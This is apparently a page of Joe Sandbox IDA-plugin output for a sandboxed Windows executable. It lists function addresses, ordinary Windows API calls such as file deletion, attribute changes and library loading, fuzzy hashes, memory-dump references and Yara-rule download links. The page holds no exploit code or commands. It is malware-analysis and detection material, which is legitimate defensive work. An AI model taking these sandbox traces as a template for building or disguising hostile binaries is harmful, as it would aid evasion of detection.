Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AllocateHeap$_free
String ID:
API String ID: 1482568997-0
Opcode ID: cd23a84d4ae38a36b44328931e99e9584f81eb10c27d5d1b357caff3908b7f6c
Instruction ID: 43e14c07c72de2a8ab2ecbe72cba511eee745acae1d8f9c39a60604e41129807
Opcode Fuzzy Hash: cd23a84d4ae38a36b44328931e99e9584f81eb10c27d5d1b357caff3908b7f6c
Instruction Fuzzy Hash: B3F06232701A15A6DF333E25BC01F6A375CDF91775B184135F868961A9DA30CC0187B1

Function 00D7D142 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 00D7D187
LoadStringW.USER32(?,?,00000200,?), ref: 00D7D19D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 4797881131b1e643516a40a0ca442e017c83e0c7e269fbde601017624883023c
Instruction ID: a3165ad3e7b78834f9165c483fd9e02165506351162edffe3989dfa82131cec9
Opcode Fuzzy Hash: 4797881131b1e643516a40a0ca442e017c83e0c7e269fbde601017624883023c
Instruction Fuzzy Hash: D5F0C8327213287FDA115F50AC45FA77A59EF063A0F011925FA88D6261E6264C01C7B0

Function 00D7FCA6 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00D7FCB3
GetProcessAffinityMask.KERNEL32(00000000), ref: 00D7FCBA

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 0d15bcbde3331c8d05fd53d18bbfc285e945bafa45818f1a448bae5e773d0aff
Instruction ID: 81281f116e60ab2f9aea6a058bcd845f5965ecbe43607f5b2e0425d60eefcd71
Opcode Fuzzy Hash: 0d15bcbde3331c8d05fd53d18bbfc285e945bafa45818f1a448bae5e773d0aff
Instruction Fuzzy Hash: 48E09232E1020E678F2A8BA89C859EF779DEA45300728C17EED4ED3600FA34DD4147B4

Function 00D7A0C3 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D79EF9,?,?,?,00D79D92,?,00000001,00000000,?,?), ref: 00D7A0D7
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D79EF9,?,?,?,00D79D92,?,00000001,00000000,?,?), ref: 00D7A108

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d785c83097a78ba3face53a98a31a6dc1504b5a3cf94d37cbfceb58b52220aa6
Instruction ID: bed9a6cc057241ba9a07be08ed64a9a912a23f08d8352494fdc972fc6bc6cef8
Opcode Fuzzy Hash: d785c83097a78ba3face53a98a31a6dc1504b5a3cf94d37cbfceb58b52220aa6
Instruction Fuzzy Hash: 8CF0A031280209BBEF116F64EC01BDE7B6DEB04381F44C061BD88C6161EB329A989B74

Function 00D8C0D0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D8C0FE
SetDlgItemTextW.USER32(00000065,?), ref: 00D8C115

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 0ad54ec6e2e55a697fa37d3a15ad5626923c3a429d3e1afc92041ade2eeb6401
Instruction ID: 384c82cdca94da99ec00bbefab885f9de54d5ac90a163071c0eed8d8aa9e99fb
Opcode Fuzzy Hash: 0ad54ec6e2e55a697fa37d3a15ad5626923c3a429d3e1afc92041ade2eeb6401
Instruction Fuzzy Hash: 3EF0EC32964348F6E711B7A09C06FA93B5DEB043C1F044196F605D21A2E6715A209772

Function 00D79DAC Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,00D79611,?,?,00D7946C), ref: 00D79DBD
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00D79611,?,?,00D7946C), ref: 00D79DEB

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 04594b4788f6ad4580482d99dd4029d2685507dfc2f226ef7b0598ca5634009c
Instruction ID: 076dd94fed8f168f5a368fdae09b900e674b80dfcf98a26c1d7e2d0ad3c801c1
Opcode Fuzzy Hash: 04594b4788f6ad4580482d99dd4029d2685507dfc2f226ef7b0598ca5634009c
Instruction Fuzzy Hash: B7E09B3165120D67DB215F61DC41BDA779DEB09382F844061BA48C2154EB319D949A74

Function 00D79E13 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00D79E08,?,00D775A0,?,?,?,?), ref: 00D79E24
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00D79E08,?,00D775A0,?,?,?,?), ref: 00D79E50

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 71dd232d3c052d0577329577e1b536232b4137f913fa13bb8044239ee77fef46
Instruction ID: 1c795ac19ee5ee740c56a6de27a42ac4d65155daf91be55c88061579f397cb45
Opcode Fuzzy Hash: 71dd232d3c052d0577329577e1b536232b4137f913fa13bb8044239ee77fef46
Instruction Fuzzy Hash: A0E0653250125867CB11AA68DC05BDABB58DB097B1F044161FD48E3290D6705D8487F4

Function 00D7F309 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D7F324
LoadLibraryW.KERNELBASE(?,?,00D7DEC8,Crypt32.dll,?,00D7DF4A,?,00D7DF2E,?,?,?,?), ref: 00D7F346

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 9ddd74962cccc595675d56d11c6193d10c3d88868455998fff08c2f78e8e4db0
Instruction ID: dd039f20b99000380a15243c2acbd057d52cd49559a19c397bcdb8e96fb72e0a
Opcode Fuzzy Hash: 9ddd74962cccc595675d56d11c6193d10c3d88868455998fff08c2f78e8e4db0
Instruction Fuzzy Hash: B2E01272811218ABDB11ABA4DC05FEB7B6CEB093D1F0440A6B948D2105DA74D9408BB4

Function 00D88924 Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D88945
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00D8894C

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 0099e471468b34c235eb2f02838c33d93cf27ac3613b0fde1beaed965040f864
Instruction ID: 8d756c2ade3ccc623a4749dfa01474e85078996c823fc305654f326bc4d2a079
Opcode Fuzzy Hash: 0099e471468b34c235eb2f02838c33d93cf27ac3613b0fde1beaed965040f864
Instruction Fuzzy Hash: D9E0E575515218EFCB50FF95D5017A9B7E8EB05351F10846AE84593701D670AE04ABB1

Function 00D8909E Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,00D9F79B,000000FF), ref: 00D890C7
CoUninitialize.COMBASE(?,?,?,00D9F79B,000000FF), ref: 00D890CC

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 6b5e371c746b1e15f9d12121060072cbc5c50d4ccabf5ced5dc37b7444047d30
Instruction ID: fa7de842bc1960154df3ff0503cb46e19c3980d36273128a753a339382e2e49a
Opcode Fuzzy Hash: 6b5e371c746b1e15f9d12121060072cbc5c50d4ccabf5ced5dc37b7444047d30
Instruction Fuzzy Hash: 51E01A32548644DFC710EB8CDD45B55BBE9FB09B20F008769B81AC3B60CB386844CBA1

Function 00D90CA6 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00D91D9A: try_get_function.LIBVCRUNTIME ref: 00D91DAF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D90CC4
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00D90CCF

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: bf06b7bb78a9771af71f7212e9ca236e4bb1192f7f90599c48c421a0b0d00f2b
Instruction ID: 4a851211b14560ebc727343ff76fe1f06948e512a0f973e85bdcd50be2faa502
Opcode Fuzzy Hash: bf06b7bb78a9771af71f7212e9ca236e4bb1192f7f90599c48c421a0b0d00f2b
Instruction Fuzzy Hash: A1D0233D5483072C1F0033753C1255B2F44D502BF47700345F021D51C1DF108045D173

Function 00D712C2 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00D712D7
ShowWindow.USER32(00000000), ref: 00D712DE

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: ca85c7bf17536109632d261759023f1f5f4f71b266c7d0ae14db5cbf4949e820
Instruction ID: 80fbef5a7c9c7e19b30dc27a591aa6125d1ef4b308fa6ba223ce407621c9df52
Opcode Fuzzy Hash: ca85c7bf17536109632d261759023f1f5f4f71b266c7d0ae14db5cbf4949e820
Instruction Fuzzy Hash: 8EC01232058201BFCB010B74DC09C2EBBA99B96211F00CA04B4A5C0160C338C010DB32

Function 00D7FC30 Relevance: 2.5, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00DB1E74,?,?,?,?,00D7A5A0,?,?,?,?,00D9F79B,000000FF), ref: 00D7FC42
LeaveCriticalSection.KERNEL32(00DB1E74,?,?,?,?,00D7A5A0,?,?,?,?,00D9F79B,000000FF), ref: 00D7FC99

Part of subcall function 00D7F9D1: ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 00D7FA05
Part of subcall function 00D7F9D1: CloseHandle.KERNEL32(?,?), ref: 00D7FA1F
Part of subcall function 00D7F9D1: DeleteCriticalSection.KERNEL32(?), ref: 00D7FA38
Part of subcall function 00D7F9D1: CloseHandle.KERNELBASE(?), ref: 00D7FA44
Part of subcall function 00D7F9D1: CloseHandle.KERNEL32(?), ref: 00D7FA50

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CloseCriticalHandleSection$DeleteEnterLeaveReleaseSemaphore
String ID:
API String ID: 3265325312-0
Opcode ID: 707846239a44194d89b2352d25ce22bf4574afc129c55f055640e91add2a5cf3
Instruction ID: 8bc00b24a663d41224b3df744a4baedf4809b63de80efa6ec394f113056205ed
Opcode Fuzzy Hash: 707846239a44194d89b2352d25ce22bf4574afc129c55f055640e91add2a5cf3
Instruction Fuzzy Hash: EDF0A437204324DB96226724ECC09BEB71CD6867A43598626FC08A7381FB35EC0147B0

Function 00D719B1 Relevance: 1.8, APIs: 1, Instructions: 275COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D719B6

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 208dc9582c64a88c71686995744490caff4f4aaa79632c57d8d756d98754bbe2
Instruction ID: f1ee9c5eabdfcd3dc28056ee26d5f1f82ff92b2b038ac4514e8aab70926500ba
Opcode Fuzzy Hash: 208dc9582c64a88c71686995744490caff4f4aaa79632c57d8d756d98754bbe2
Instruction Fuzzy Hash: 80B1D378A00246AEEB29CF7CC485BB9FBA5FF05304F18835AD45D93281E7319955CBB1

Function 00D7820B Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D78210

Part of subcall function 00D7137E: __EH_prolog.LIBCMT ref: 00D71383
Part of subcall function 00D7137E: new.LIBCMT ref: 00D713FB

Part of subcall function 00D719B1: __EH_prolog.LIBCMT ref: 00D719B6

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8ba897593f1c65978c3ba3a64c31413010345dd6c2270415ce80efc9191e9195
Instruction ID: d0fe761b48836e8f3c3a4861ffeae9d94f1e1243dbc759d8b7b5087c12715f81
Opcode Fuzzy Hash: 8ba897593f1c65978c3ba3a64c31413010345dd6c2270415ce80efc9191e9195
Instruction Fuzzy Hash: 0F4186719406589ADB24EB64CC55BEA7769EF50700F4480EAE58E93053FF745EC8EB30

Function 00D821E6 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D821EB

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6fad3813819460f27d101c331a8c49a29ccc5f2d7d2dc7e60c1c60974f229914
Instruction ID: aaaf6c3828a23ca1851d70c8dd6f58146a104e3150e3685c874cb2602fa2525c
Opcode Fuzzy Hash: 6fad3813819460f27d101c331a8c49a29ccc5f2d7d2dc7e60c1c60974f229914
Instruction Fuzzy Hash: 7E2191B1E41615ABDB14BFB9CC41B6BB6A8FB14314F04463AE909EB681E7709940C7B8

Function 00D89485 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D8948A

Part of subcall function 00D7137E: __EH_prolog.LIBCMT ref: 00D71383
Part of subcall function 00D7137E: new.LIBCMT ref: 00D713FB

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
